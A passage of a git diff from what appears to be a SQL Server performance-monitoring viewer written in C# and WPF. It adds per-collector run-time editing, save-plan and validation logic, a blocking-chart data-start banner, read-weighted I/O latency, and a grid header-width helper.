     /// (<c>server_id</c> NULL), then — when <paramref name="serverId"/> is a server — apply that server's
     /// overrides on top (each override's non-null column wins; a NULL column falls through). Editing the fleet
     /// scope (<paramref name="serverId"/> null) shows code-default-over-fleet; editing a server shows the full
     /// effective schedule it currently collects on.
+    ///
+    /// <para>The Run at cell (#4938) comes from the run-time table (<paramref name="runTimes"/>), not from the schedule
+    /// rows, and is the one column that does NOT layer: it holds the edited scope's OWN stored value, so a server with no
+    /// run-time row shows "Use default" and not the fleet's time. If the cell took the fleet's value, a save would write
+    /// it into every server's run-time rows and "Use default" could never survive a save. A run time needs no schedule
+    /// row: a collector at its default cadence with a run time of its own has a run-time row and no schedule row.</para>
     /// </summary>
     public static List<CollectorScheduleEditItem> BuildEffectiveSchedule(
-        IReadOnlyList<CollectorScheduleRow> allOverrides, int? serverId)
+        IReadOnlyList<CollectorScheduleRow> allOverrides, IReadOnlyList<CollectorRunTimeRow> runTimes, int? serverId)
     {
         ArgumentNullException.ThrowIfNull(allOverrides);
+        ArgumentNullException.ThrowIfNull(runTimes);
 
         var schedule = CollectorSchedulePresets.BuildDefaultSchedule();
 
@@ -42,9 +109,33 @@ public static List<CollectorScheduleEditItem> BuildEffectiveSchedule(
             ApplyScope(schedule, allOverrides.Where(o => o.ServerId == sid));
         }
 
+        ApplyRunTimes(schedule, runTimes.Where(r => r.ServerId == serverId));
+
         return schedule;
     }
 
+    /// <summary>The schedule rows alone, with no run times: every Run at cell reads "Use default". The shape released viewers
+    /// have, kept so a caller that has no run-time rows (the schedule overlay's own tests, a store below V160) need not
+    /// invent an empty list. The editor window passes the run times it read, through the overload above.</summary>
+    public static List<CollectorScheduleEditItem> BuildEffectiveSchedule(
+        IReadOnlyList<CollectorScheduleRow> allOverrides, int? serverId) =>
+        BuildEffectiveSchedule(allOverrides, Array.Empty<CollectorRunTimeRow>(), serverId);
+
+    /// <summary>Puts the edited scope's own run times on the grid items (#4938): a collector with a row in the scope shows
+    /// it (<see cref="FormatRunAt"/>), and every other collector keeps "Use default". A row for a collector this build no
+    /// longer defines is ignored, the way a schedule row for one is.</summary>
+    private static void ApplyRunTimes(List<CollectorScheduleEditItem> schedule, IEnumerable<CollectorRunTimeRow> scopeRunTimes)
+    {
+        foreach (var runTime in scopeRunTimes)
+        {
+            var item = schedule.FirstOrDefault(s => s.Name.Equals(runTime.CollectorName, StringComparison.OrdinalIgnoreCase));
+            if (item is not null)
+            {
+                item.RunAtText = FormatRunAt(runTime.RunAtMinute);
+            }
+        }
+    }
+
     private static void ApplyScope(List<CollectorScheduleEditItem> schedule, IEnumerable<CollectorScheduleRow> scopeRows)
     {
         foreach (var row in scopeRows)
@@ -122,18 +213,45 @@ public static bool ValidateSchedule(IReadOnlyList<CollectorScheduleEditItem> edi
                 error = $"'{item.Name}': retention (days) must be at least 1.";
                 return false;
             }
+
+            /* #4938: the run time. The text is the shared one, so the viewer, the CLI and the service's warning
+               say one thing. "None" and "Use default" are never refused, because clearing is the remedy the
+               whole-day refusal names; a time is refused only when the collector's interval is not whole days
+               (an on-load collector re-runs daily, so it is judged as a daily one). */
+            if (!TryParseRunAt(item.RunAtText, out var runAt, out var runAtError))
+            {
+                error = $"'{item.Name}': {runAtError}";
+                return false;
+            }
+
+            if (runAt is >= 0)
+            {
+                var interval = CollectorScheduleDefaults.EffectiveRecurringIntervalMinutes(item.FrequencyMinutes);
+                if (!CollectorRunTime.AllowsRunAt(interval))
+                {
+                    error = CollectorRunTime.IntervalRefusalMessage(item.Name, interval);
+                    return false;
+                }
+            }
         }
 
         error = "";
         return true;
     }
 
-    /// <summary>True when the store holds any override row for this server (the editor's "custom vs. use
-    /// default" initial state).</summary>
-    public static bool ServerHasOverride(IReadOnlyList<CollectorScheduleRow> allOverrides, int serverId)
+    /// <summary>True when the store holds any schedule row for this server (the released rule, with no run-time rows to count).</summary>
+    public static bool ServerHasOverride(IReadOnlyList<CollectorScheduleRow> allOverrides, int serverId) =>
+        ServerHasOverride(allOverrides, Array.Empty<CollectorRunTimeRow>(), serverId);
+
+    /// <summary>True when the store holds any override row for this server, a schedule row or a run-time row (the editor's
+    /// "custom vs. use default" initial state). A server that has only a run time of its own (set from the command line, say,
+    /// which writes no schedule row) is custom, so the editor shows that run time instead of the fleet's (#4938).</summary>
+    public static bool ServerHasOverride(
+        IReadOnlyList<CollectorScheduleRow> allOverrides, IReadOnlyList<CollectorRunTimeRow> runTimes, int serverId)
     {
         ArgumentNullException.ThrowIfNull(allOverrides);
-        return allOverrides.Any(o => o.ServerId == serverId);
+        ArgumentNullException.ThrowIfNull(runTimes);
+        return allOverrides.Any(o => o.ServerId == serverId) || runTimes.Any(r => r.ServerId == serverId);
     }
 
     /// <summary>
@@ -163,6 +281,8 @@ public static List<CollectorScheduleRow> ToFleetOverrideRows(IReadOnlyList<Colle
             /* #3477: a non-empty scope is an override in its own right — a collector at default
                cadence scoped to one database must still write its fleet row, or the scope silently
                never takes effect (the #2064/#2061 skipped-row failure, one column over). */
+            /* #4938: a run time is not an override of THIS table. It has its own table (ToRunTimeChanges), so a
+               collector left at its default cadence with a fleet run time writes no schedule row. */
             if (item.FrequencyMinutes == def.FrequencyMinutes
                 && item.RetentionDays == def.RetentionDays
                 && item.Enabled == def.DefaultEnabled
@@ -196,9 +316,183 @@ public static List<CollectorScheduleRow> ToServerOverrideRows(IReadOnlyList<Coll
                array (not NULL), so a customizing server collects exactly the shown scope and a
                fleet-level scope cannot bleed through a server whose grid shows none. The empty/NULL
                distinction is the resolver's documented contract. */
+            /* #4938: the run time does not ride these rows (ToRunTimeChanges writes it to its own table), so this Save
+               carries no run time and leaves every one as it was. */
             .Select(item => new CollectorScheduleRow(
                 serverId, item.Name, item.FrequencyMinutes, item.RetentionDays, item.Enabled,
                 ParseDatabases(item.DatabasesText)))
             .ToList();
     }
+
+    /// <summary>
+    /// The run-time table changes that make the store match the edited grid for one scope (#4938), each of them a statement
+    /// of its own, written in the Save's transaction (<see cref="ViewerDataService.SaveCollectorScheduleAsync"/>): only the collectors whose time differs from
+    /// what <paramref name="runTimes"/> holds for the scope, so a Save that did not touch a run time writes none and does not
+    /// reload the service for it.
+    ///
+    /// <para>A cell that is "Use default" means no row at this level (a delete, when there is one); a time is an upsert; "None"
+    /// is -1 on a server row, which stops a fleet-wide time for that server only, and on the fleet scope it is read as no row
+    /// because the fleet has nothing to stop (the CHECK refuses -1 there). A server scope that "uses the default schedule"
+    /// (<paramref name="usesDefault"/>) deletes every run-time row the server has, so the server follows the fleet again; a cell
+    /// that does not parse is left to <see cref="ValidateSchedule"/> and changes nothing. A collector this build does not
+    /// define is never written. A stored row is deleted by the name it is stored under, so a row an older writer left in a
+    /// different letter case is removed too. Pure.</para>
+    /// </summary>
+    public static List<CollectorRunTimeChange> ToRunTimeChanges(
+        IReadOnlyList<CollectorScheduleEditItem> edited, IReadOnlyList<CollectorRunTimeRow> runTimes, int? serverId, bool usesDefault) =>
+        ToRunTimeChanges(edited, runTimes, serverId, usesDefault, clearScope: false);
+
+    /// <summary>
+    /// The same changes for a Save that is also a schedule Reset (<paramref name="clearScope"/>, #4938): the Save deletes every
+    /// run-time row of the scope itself, ahead of these changes (<see cref="ViewerDataService.SaveCollectorScheduleAsync(int?, IEnumerable{CollectorScheduleRow}, IReadOnlyList{CollectorRunTimeChange}, bool, CancellationToken)"/>),
+    /// so nothing is stored for the scope by the time they run: no delete is needed for a "Use default" cell, and every time the
+    /// grid holds is an insert, including one the window showed before the Reset and the grid still holds. Pure.
+    /// </summary>
+    public static List<CollectorRunTimeChange> ToRunTimeChanges(
+        IReadOnlyList<CollectorScheduleEditItem> edited, IReadOnlyList<CollectorRunTimeRow> runTimes, int? serverId, bool usesDefault, bool clearScope)
+    {
+        ArgumentNullException.ThrowIfNull(edited);
+        ArgumentNullException.ThrowIfNull(runTimes);
+
+        var changes = new List<CollectorRunTimeChange>();
+        var stored = clearScope ? new List<CollectorRunTimeRow>() : runTimes.Where(r => r.ServerId == serverId).ToList();
+
+        foreach (var item in edited)
+        {
+            if (!CollectorScheduleDefaults.All.ContainsKey(item.Name))
+            {
+                continue; /* Not a known collector — never persist a run time for it. */
+            }
+
+            int? wanted;
+            if (usesDefault)
+            {
+                wanted = null;
+            }
+            else if (!TryParseRunAt(item.RunAtText, out wanted, out _))
+            {
+                continue;
+            }
+            else if (serverId is null && wanted == NoFixedRunTime)
+            {
+                wanted = null;
+            }
+
+            var current = stored.Where(r => r.CollectorName.Equals(item.Name, StringComparison.OrdinalIgnoreCase)).ToList();
+            if (wanted is int minute)
+            {
+                if (current.Count == 0 || current.Any(r => r.RunAtMinute != minute))
+                {
+                    changes.Add(new CollectorRunTimeChange(serverId, item.Name, minute));
+                }
+            }
+            else
+            {
+                foreach (var row in current)
+                {
+                    changes.Add(new CollectorRunTimeChange(serverId, row.CollectorName, null));
+                }
+            }
+        }
+
+        return changes;
+    }
+
+    /// <summary>Why a Save is refused when the schedule read failed (#4938): the window then shows the code defaults for the scope,
+    /// and the Save replaces the scope's stored rows with what it shows.</summary>
+    public const string SchedulesUnreadRefusal =
+        "The collector schedules could not be read, so this window cannot tell what is stored, and a Save would replace it with what is shown. " +
+        "Nothing was saved. Close this window and open it again to read them.";
+
+    /// <summary>Why a Save is refused when the run-time read failed and the Save would have to write a run time (#4938): a time typed
+    /// into a Run at cell, or a Reset to Defaults, which also clears every run time.</summary>
+    public const string RunTimesUnreadRefusal =
+        "The run times could not be read, so none can be saved or cleared now (a time typed into a Run at cell, or Reset to Defaults, which clears them). " +
+        "Nothing was saved. Close this window and open it again to read them, then try again.";
+
+    /// <summary>
+    /// What one Save sends for a scope (#4938), worked out from what the window holds and from which of its reads worked: no
+    /// successful read, no write of what it would have shown. The schedule rows are a replace of the whole scope, so after a failed
+    /// schedule read the Save is refused (<see cref="SchedulesUnreadRefusal"/>), because it would delete the rows it never showed.
+    /// After a failed run-time read the schedule is saved as usual and the Save sends NO run-time change: no upsert, no delete, and
+    /// not the clear that a Reset or a server on "Use default schedule" otherwise sends. That matters most for a server whose only
+    /// override is a run-time row, which the failed read shows as a server on the default. A Save that would have to write a run time
+    /// the user asked for (a time typed into a cell, or a Reset) is refused instead of dropping it silently
+    /// (<see cref="RunTimesUnreadRefusal"/>). Pure.
+    /// </summary>
+    public static CollectorScheduleSavePlan BuildSavePlan(
+        IReadOnlyList<CollectorScheduleEditItem> edited, IReadOnlyList<CollectorRunTimeRow> runTimes, int? serverId,
+        bool usesDefault, bool resetToDefaults, bool schedulesRead, bool runTimesRead)
+    {
+        ArgumentNullException.ThrowIfNull(edited);
+        ArgumentNullException.ThrowIfNull(runTimes);
+
+        if (!schedulesRead)
+        {
+            return CollectorScheduleSavePlan.Refused(SchedulesUnreadRefusal);
+        }
+
+        if (!runTimesRead && (resetToDefaults || (!usesDefault && edited.Any(HoldsARunTime))))
+        {
+            return CollectorScheduleSavePlan.Refused(RunTimesUnreadRefusal);
+        }
+
+        var clearRunTimes = runTimesRead && (resetToDefaults || usesDefault);
+        var runTimeChanges = runTimesRead
+            ? ToRunTimeChanges(edited, runTimes, serverId, usesDefault, clearRunTimes)
+            : new List<CollectorRunTimeChange>();
+        var rows = serverId is int server
+            ? (usesDefault ? new List<CollectorScheduleRow>() : ToServerOverrideRows(edited, server))
+            : ToFleetOverrideRows(edited);
+
+        return new CollectorScheduleSavePlan(null, rows, runTimeChanges, clearRunTimes);
+    }
+
+    /// <summary>True when the Run at cell holds a time or "None", that is anything but "Use default" (a cell that does not parse is
+    /// left to <see cref="ValidateSchedule"/>).</summary>
+    private static bool HoldsARunTime(CollectorScheduleEditItem item) =>
+        TryParseRunAt(item.RunAtText, out var minute, out _) && minute is not null;
+
+    /// <summary>
+    /// The status line after "Apply Default to All Servers" (#4938), with the per-server schedule overrides and the per-server run
+    /// times it removed counted apart and each named, singular or plural: "Reset 2 per-server run times", or "Reset 1 per-server
+    /// schedule override and 2 per-server run times". Two run times are never reported as two schedule overrides. Pure.
+    /// </summary>
+    public static string FormatResetStatus(CollectorScheduleResetCounts removed)
+    {
+        ArgumentNullException.ThrowIfNull(removed);
+
+        var parts = new List<string>();
+        if (removed.ScheduleOverrides > 0)
+        {
+            parts.Add(string.Create(CultureInfo.InvariantCulture,
+                $"{removed.ScheduleOverrides} per-server schedule {(removed.ScheduleOverrides == 1 ? "override" : "overrides")}"));
+        }
+
+        if (removed.RunTimes > 0)
+        {
+            parts.Add(string.Create(CultureInfo.InvariantCulture,
+                $"{removed.RunTimes} per-server run {(removed.RunTimes == 1 ? "time" : "times")}"));
+        }
+
+        return parts.Count == 0
+            ? "No per-server overrides to reset — every server already follows the fleet default."
+            : $"Reset {string.Join(" and ", parts)} — every server now follows the fleet default.";
+    }
+}
+
+/// <summary>
+/// What one Save of the Collector Schedules window sends (#4938), from <see cref="CollectorScheduleOverlay.BuildSavePlan"/>: the
+/// scope's schedule rows, the run-time changes, and whether the Save also clears the scope's run-time rows. A non-null
+/// <see cref="Refusal"/> means the Save is refused with that text and nothing at all is sent.
+/// </summary>
+public sealed record CollectorScheduleSavePlan(
+    string? Refusal,
+    IReadOnlyList<CollectorScheduleRow> Rows,
+    IReadOnlyList<CollectorRunTimeChange> RunTimeChanges,
+    bool ClearRunTimes)
+{
+    /// <summary>A Save that is refused: nothing to write.</summary>
+    internal static CollectorScheduleSavePlan Refused(string refusal) =>
+        new(refusal, Array.Empty<CollectorScheduleRow>(), Array.Empty<CollectorRunTimeChange>(), false);
 }
diff --git a/Darling/PerformanceMonitor.Darling.Viewer/CollectorSchedulePresets.cs b/Darling/PerformanceMonitor.Darling.Viewer/CollectorSchedulePresets.cs
index a798d9052e..c0f10b3b14 100644
--- a/Darling/PerformanceMonitor.Darling.Viewer/CollectorSchedulePresets.cs
+++ b/Darling/PerformanceMonitor.Darling.Viewer/CollectorSchedulePresets.cs
@@ -35,6 +35,15 @@ public sealed class CollectorScheduleEditItem
     /// parse/format round trip; presets never touch it (they change frequencies only).
     /// </summary>
     public string DatabasesText { get; set; } = "";
+
+    /// <summary>
+    /// The #4938 run time as the grid edits it: a 24-hour <c>HH:MM</c> time on the monitored server's own clock,
+    /// <see cref="CollectorScheduleOverlay.UseDefaultRunAtText"/> (no value at this level: it falls through to the
+    /// fleet row, or to no fixed time), or on a server row <see cref="CollectorScheduleOverlay.NoRunAtText"/> (no
+    /// fixed time on this server, which stops a fleet-wide time). <see cref="CollectorScheduleOverlay"/> owns the
+    /// parse/format round trip; presets never touch it (they change frequencies only).
+    /// </summary>
+    public string RunAtText { get; set; } = CollectorScheduleOverlay.UseDefaultRunAtText;
 }
 
 /// <summary>
diff --git a/Darling/PerformanceMonitor.Darling.Viewer/CollectorScheduleRunAtText.cs b/Darling/PerformanceMonitor.Darling.Viewer/CollectorScheduleRunAtText.cs
new file mode 100644
index 0000000000..47afba2694
--- /dev/null
+++ b/Darling/PerformanceMonitor.Darling.Viewer/CollectorScheduleRunAtText.cs
@@ -0,0 +1,164 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Globalization;
+using System.Text;
+using PerformanceMonitor.Analysis.Baselines;
+using PerformanceMonitor.Collectors;
+
+namespace PerformanceMonitor.Darling.Viewer;
+
+/// <summary>
+/// The line under the Collector Schedules grid for the selected row's Run at cell (#4938): what the time means on the
+/// monitored server's clock and in UTC, and when the next run is. It is built from the shared rules in
+/// <see cref="CollectorRunTime"/> (the slot, the next due time, the whole-day check and every refusal text) and not
+/// from a second copy of them, so what the editor says is what the service does. Pure: the window passes the clock
+/// it read, the server's engine and the current time in, so Darling.Tests exercise it without a window or a store.
+///
+/// <para>A fleet row shows the spread it will run across ("between 02:00 and 03:00"), because each server's own
+/// minute is a function of its id and no one slot belongs to the fleet. A server row shows its exact minute, the UTC
+/// instant it converts to and the next run. A server's clock that is not known yet (it has not collected
+/// <c>server_properties</c>) reads the time as UTC, and the line says so.</para>
+/// </summary>
+public static class CollectorScheduleRunAtText
+{
+    private const int MinutesPerDay = 1440;
+
+    /// <summary>
+    /// Describes one row's run time.
+    /// </summary>
+    /// <param name="collector">The collector's name, for the refusal text.</param>
+    /// <param name="runAtText">What the Run at cell holds (see <see cref="CollectorScheduleOverlay.TryParseRunAt"/>).</param>
+    /// <param name="frequencyMinutes">The row's own interval, as edited.</param>
+    /// <param name="serverId">The server the row belongs to, or null for the fleet row.</param>
+    /// <param name="fleetRunAtMinute">The fleet row's run time for this collector, which a server row set to "Use default" falls through to; null for none.</param>
+    /// <param name="clock">The server's clock from its newest <c>server_properties</c> row, or null when it has none yet.</param>
+    /// <param name="azureSqlDatabase">The server is an Azure SQL Database, which always reports UTC.</param>
+    /// <param name="nowUtc">The current instant, UTC.</param>
+    /// <param name="usesDefaultSchedule">The server is on "Use default schedule": the grid then shows the FLEET's schedule, so the
+    /// row's cell holds the fleet's own time and not one of the server's. The cell is read as "Use default", which takes the
+    /// fleet-wide time and says so. Ignored on a fleet row, which has no such checkbox.</param>
+    public static string Describe(
+        string collector, string runAtText, int frequencyMinutes, int? serverId, int? fleetRunAtMinute,
+        ServerClock? clock, bool azureSqlDatabase, DateTime nowUtc, bool usesDefaultSchedule = false)
+    {
+        if (usesDefaultSchedule && serverId is not null)
+        {
+            runAtText = CollectorScheduleOverlay.UseDefaultRunAtText;
+        }
+
+        if (!CollectorScheduleOverlay.TryParseRunAt(runAtText, out var typed, out var invalid))
+        {
+            return invalid;
+        }
+
+        var fleet = fleetRunAtMinute is >= 0 ? fleetRunAtMinute : null;
+
+        /* Which time applies. The fleet row has no level below it to fall through to, and "None" there clears the
+           column, so both read as no time. On a server row "None" stops the fleet's time, and "Use default" takes it. */
+        int? effective;
+        var inherited = false;
+        if (serverId is null)
+        {
+            effective = typed is >= 0 ? typed : null;
+        }
+        else if (typed is -1)
+        {
+            return fleet is int fleetMinute
+                ? $"No fixed run time on this server: it collects on its own cadence, and the fleet-wide run time ({CollectorRunTime.Format(fleetMinute)}) does not apply to it."
+                : "No fixed run time on this server: it collects on its own cadence.";
+        }
+        else if (typed is null)
+        {
+            effective = fleet;
+            inherited = fleet is not null;
+        }
+        else
+        {
+            effective = typed;
+        }
+
+        if (effective is not int minute)
+        {
+            return "No fixed run time. The collector runs on its own cadence.";
+        }
+
+        /* The whole-day rule, judged on the interval the collector really recurs at (an on-load collector re-runs daily). */
+        var interval = CollectorScheduleDefaults.EffectiveRecurringIntervalMinutes(frequencyMinutes);
+        if (!CollectorRunTime.AllowsRunAt(interval))
+        {
+            return CollectorRunTime.IntervalRefusalMessage(collector, interval);
+        }
+
+        var days = interval / MinutesPerDay;
+        var every = days > 1 ? string.Create(CultureInfo.InvariantCulture, $" It runs every {days} days.") : "";
+
+        if (serverId is not int id)
+        {
+            var end = (minute + CollectorRunTime.SpreadSeconds / 60) % MinutesPerDay;
+            return $"Runs between {CollectorRunTime.Format(minute)} and {CollectorRunTime.Format(end)} server time: each server gets its own minute in that hour, so a fleet does not all start at once.{every}";
+        }
+
+        Func<DateTime, DateTime> toUtc = clock is null ? CollectorRunTime.LocalIsUtc : clock.ToUtc;
+        var nowLocal = clock is null ? nowUtc : clock.ToServerLocal(nowUtc);
+        var slot = CollectorRunTime.SlotUtc(DateOnly.FromDateTime(nowLocal), minute, id, toUtc);
+        var slotLocal = clock is null ? slot : clock.ToServerLocal(slot);
+
+        var text = new StringBuilder();
+        if (inherited)
+        {
+            text.Append(string.Create(CultureInfo.InvariantCulture, $"Uses the fleet-wide run time ({CollectorRunTime.Format(minute)}). "));
+        }
+
+        text.Append(string.Create(CultureInfo.InvariantCulture,
+            $"{slotLocal:HH:mm} server time ({slot:HH:mm} UTC {DayWord(slot, nowUtc)})."));
+
+        if (azureSqlDatabase)
+        {
+            text.Append(" Azure SQL Database always reports UTC.");
+        }
+        else if (clock is null)
+        {
+            text.Append(" This server's clock is not known yet, so the time is read as UTC until its first server_properties row arrives.");
+        }
+
+        if (days > 1)
+        {
+            /* The date of a run that is not daily depends on the last run, which the viewer does not read. */
+            text.Append(every);
+            return text.ToString();
+        }
+
+        var next = CollectorRunTime.NextDue(nowUtc, null, minute, interval, id, toUtc);
+        if (next <= nowUtc)
+        {
+            /* Today's window is open now. A run still due today starts in it, and the viewer cannot tell whether one
+               ran, so it names the slot after this window. */
+            var following = CollectorRunTime.NextDue(nowUtc, nowUtc, minute, interval, id, toUtc);
+            text.Append(string.Create(CultureInfo.InvariantCulture,
+                $" Next run: {following:yyyy-MM-dd HH:mm} UTC (today's window is open now, and a run still due today starts in it)."));
+        }
+        else
+        {
+            text.Append(string.Create(CultureInfo.InvariantCulture, $" Next run: {next:yyyy-MM-dd HH:mm} UTC."));
+        }
+
+        return text.ToString();
+    }
+
+    /// <summary>The UTC day a slot falls on, against the UTC day of now: a zone ahead of UTC puts its early-morning slot on the day before.</summary>
+    private static string DayWord(DateTime slotUtc, DateTime nowUtc) =>
+        (slotUtc.Date - nowUtc.Date).Days switch
+        {
+            0 => "today",
+            -1 => "yesterday",
+            1 => "tomorrow",
+            _ => slotUtc.ToString("yyyy-MM-dd", CultureInfo.InvariantCulture),
+        };
+}
diff --git a/Darling/PerformanceMonitor.Darling.Viewer/CorrelatedTimelineLanesControl.xaml b/Darling/PerformanceMonitor.Darling.Viewer/CorrelatedTimelineLanesControl.xaml
index 3ea91244e8..e7456eaa50 100644
--- a/Darling/PerformanceMonitor.Darling.Viewer/CorrelatedTimelineLanesControl.xaml
+++ b/Darling/PerformanceMonitor.Darling.Viewer/CorrelatedTimelineLanesControl.xaml
@@ -43,14 +43,25 @@
                 <ColumnDefinition Width="100"/>
                 <ColumnDefinition Width="*"/>
             </Grid.ColumnDefinitions>
-            <TextBlock Grid.Column="0" VerticalAlignment="Center"
+            <Grid.RowDefinitions>
+                <!-- The "Showing since" note: Auto, so a hidden note gives the whole chart back to the chart. -->
+                <RowDefinition Height="Auto"/>
+                <RowDefinition Height="*"/>
+            </Grid.RowDefinitions>
+            <TextBlock Grid.Row="0" Grid.Column="1" x:Name="BlockingLaneDataStartBanner" Visibility="Collapsed"
+                       Padding="8,1" FontSize="11" FontWeight="Bold"
+                       Foreground="{DynamicResource ForegroundBrush}"
+                       Background="#22FFAA00"/>
+            <TextBlock Grid.Row="0" Grid.RowSpan="2" Grid.Column="0" VerticalAlignment="Center"
                        FontSize="12" FontWeight="SemiBold"
                        Foreground="{DynamicResource ForegroundBrush}" Margin="4,0">
                 <Run Text="Blocking &amp;"/>
                 <LineBreak/>
                 <Run Text="Deadlocking"/>
+                <LineBreak/>
+                <Run Text="events"/>
             </TextBlock>
-            <ScottPlot:WpfPlot Grid.Column="1" x:Name="BlockingChart"/>
+            <ScottPlot:WpfPlot Grid.Row="1" Grid.Column="1" x:Name="BlockingChart"/>
         </Grid>
 
         <!-- Lane 4: Buffer Pool -->
@@ -71,7 +82,7 @@
                 <ColumnDefinition Width="100"/>
                 <ColumnDefinition Width="*"/>
             </Grid.ColumnDefinitions>
-            <TextBlock Grid.Column="0" Text="I/O Latency" VerticalAlignment="Center"
+            <TextBlock Grid.Column="0" Text="I/O Latency ms" VerticalAlignment="Center"
                        FontSize="12" FontWeight="SemiBold"
                        Foreground="{DynamicResource ForegroundBrush}" Margin="4,0"/>
             <ScottPlot:WpfPlot Grid.Column="1" x:Name="FileIoChart"/>
diff --git a/Darling/PerformanceMonitor.Darling.Viewer/CorrelatedTimelineLanesControl.xaml.cs b/Darling/PerformanceMonitor.Darling.Viewer/CorrelatedTimelineLanesControl.xaml.cs
index cd0b03c00c..1fdd95aa72 100644
--- a/Darling/PerformanceMonitor.Darling.Viewer/CorrelatedTimelineLanesControl.xaml.cs
+++ b/Darling/PerformanceMonitor.Darling.Viewer/CorrelatedTimelineLanesControl.xaml.cs
@@ -41,6 +41,7 @@
 using System.Windows.Controls;
 using PerformanceMonitor.Analysis.Baselines;
 using PerformanceMonitor.Common;
+using PerformanceMonitor.Darling.Storage;
 using PerformanceMonitor.Darling.Analysis;
 using PerformanceMonitor.Ui;
 
@@ -246,7 +247,7 @@ await Task.WhenAll(cpuTask, waitTask, blockingTask, deadlockTask, memoryTask, fi
                 var ioGrouped = fileIoTask.Result
                     .GroupBy(d => d.CollectionTime)
                     .OrderBy(g => g.Key)
-                    .Select(g => (g.Key.ToOADate(), g.Average(x => x.AvgReadLatencyMs)))
+                    .Select(g => (g.Key.ToOADate(), IoLatencyWeighting.Weighted(g.Select(x => (x.AvgReadLatencyMs, x.Reads)))))
                     .ToList();
                 UpdateLane(FileIoChart, "I/O ms", ioGrouped, "#81C784", baseline: ioBaseline, minAnomalyValue: 2);
             }
@@ -257,6 +258,15 @@ await Task.WhenAll(cpuTask, waitTask, blockingTask, deadlockTask, memoryTask, fi
                the render set when the chart refreshes. */
             _crosshairManager?.ReattachVLines();
             SyncXAxes(hoursBack, fromDate, toDate);
+
+            /* #4966: the blocking chart draws event counts, so an empty stretch reads as "nothing happened" and the chart says where
+               its data starts. The note comes last, after the charts are drawn and synced, and on its own: the two coverage probes start only after the ten reads above have
+               finished (they are not part of that WhenAll, whose ten-wide declaration still covers them), so they add no
+               read to that batch, and a probe that fails costs the note and never the bars drawn above. */
+            await ShowBlockingLaneDataStartAsync(
+                startUtc, endUtc,
+                blockingTask.IsCompletedSuccessfully ? blockingTask.Result.Select(d => d.Time) : [],
+                deadlockTask.IsCompletedSuccessfully ? deadlockTask.Result.Select(d => d.Time) : []);
         }
         finally
         {
@@ -268,6 +278,27 @@ the render set when the chart refreshes. */
         }
     }
 
+    /// <summary>
+    /// Raises or hides the blocking chart's "Showing since" note (#4966). The chart's two series, blocking reports and
+    /// deadlocks, are event counts: an empty stretch before a series starts reads as "nothing happened". A window of 90
+    /// minutes or less, which can never earn a note, starts no probe. The note goes through the server tab's shared step
+    /// (<see cref="ViewerServerTab.UpdateTruncationBanner"/>), so it uses the charts' own clock, to the second.
+    /// </summary>
+    private async Task ShowBlockingLaneDataStartAsync(
+        DateTime startUtc, DateTime endUtc, IEnumerable<DateTime> blockingBars, IEnumerable<DateTime> deadlockBars)
+    {
+        var probed = endUtc - startUtc > DurationTrendRouting.TruncationSlack;
+        var blockingProbe = probed
+            ? _dataService!.GetBlockingChartDataStartAsync(_serverId, startUtc, endUtc)
+            : Task.FromResult<DateTime?>(null);
+        var deadlockProbe = probed
+            ? _dataService!.GetDeadlocksDataStartAsync(_serverId, startUtc, endUtc)
+            : Task.FromResult<DateTime?>(null);
+
+        var start = await ViewerBlockingLaneDataStart.ChooseAsync(blockingProbe, deadlockProbe, blockingBars, deadlockBars);
+        ViewerServerTab.UpdateTruncationBanner(BlockingLaneDataStartBanner, start, startUtc);
+    }
+
     private void UpdateBlockingLane(List<(double Time, double Value)> blockingData,
         List<(double Time, double Value)> deadlockData, BaselineBucket? baseline = null)
     {
diff --git a/Darling/PerformanceMonitor.Darling.Viewer/DataGridHeaderFit.cs b/Darling/PerformanceMonitor.Darling.Viewer/DataGridHeaderFit.cs
new file mode 100644
index 0000000000..31d3ecaf9d
--- /dev/null
+++ b/Darling/PerformanceMonitor.Darling.Viewer/DataGridHeaderFit.cs
@@ -0,0 +1,70 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Globalization;
+using System.Windows;
+using System.Windows.Controls;
+using System.Windows.Media;
+
+namespace PerformanceMonitor.Darling.Viewer;
+
+/// <summary>
+/// Gives every column of every grid under a root at least the width its own header needs, so a header is never cut mid-word
+/// ("Current Size M", "CPU 9") whatever fixed width the column was given. The header's unit stays in the header; the column grows to show it.
+/// </summary>
+internal static class DataGridHeaderFit
+{
+    /// <summary>Room beyond the header text for the cell padding and the sort glyph.</summary>
+    internal const double Padding = 30;
+
+    /// <summary>The width a header of <paramref name="textWidth"/> of text needs.</summary>
+    internal static double NeededWidth(double textWidth) => Math.Ceiling(textWidth + Padding);
+
+    /// <summary>Raises each column's <see cref="DataGridColumn.MinWidth"/> to its header's width, for every grid under <paramref name="root"/>.</summary>
+    internal static void Apply(DependencyObject root)
+    {
+        if (root is DataGrid grid)
+        {
+            foreach (var column in grid.Columns)
+            {
+                var text = MeasureHeader(column.Header, grid);
+                if (text > 0)
+                {
+                    column.MinWidth = Math.Max(column.MinWidth, NeededWidth(text));
+                }
+            }
+        }
+
+        foreach (var child in LogicalTreeHelper.GetChildren(root))
+        {
+            if (child is DependencyObject next)
+            {
+                Apply(next);
+            }
+        }
+    }
+
+    private static double MeasureHeader(object? header, DataGrid grid)
+    {
+        switch (header)
+        {
+            case string text when text.Length > 0:
+                var formatted = new FormattedText(
+                    text, CultureInfo.CurrentUICulture, FlowDirection.LeftToRight,
+                    new Typeface(grid.FontFamily, FontStyles.Normal, FontWeights.Bold, FontStretches.Normal),
+                    grid.FontSize, Brushes.Black, VisualTreeHelper.GetDpi(grid).PixelsPerDip);
+                return formatted.WidthIncludingTrailingWhitespace;
+            case UIElement element:
+                element.Measure(new Size(double.PositiveInfinity, double.PositiveInfinity));
+                return element.DesiredSize.Width;
+            default:
+                return 0;
+        }
+    }
+}
diff --git a/Darling/PerformanceMonitor.Darling.Viewer/FinOpsServerChoice.cs b/Darling/PerformanceMonitor.Darling.Viewer/FinOpsServerChoice.cs
new file mode 100644
index 0000000000..8e3e72cd8e
--- /dev/null
+++ b/Darling/PerformanceMonitor.Darling.Viewer/FinOpsServerChoice.cs
@@ -0,0 +1,101 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
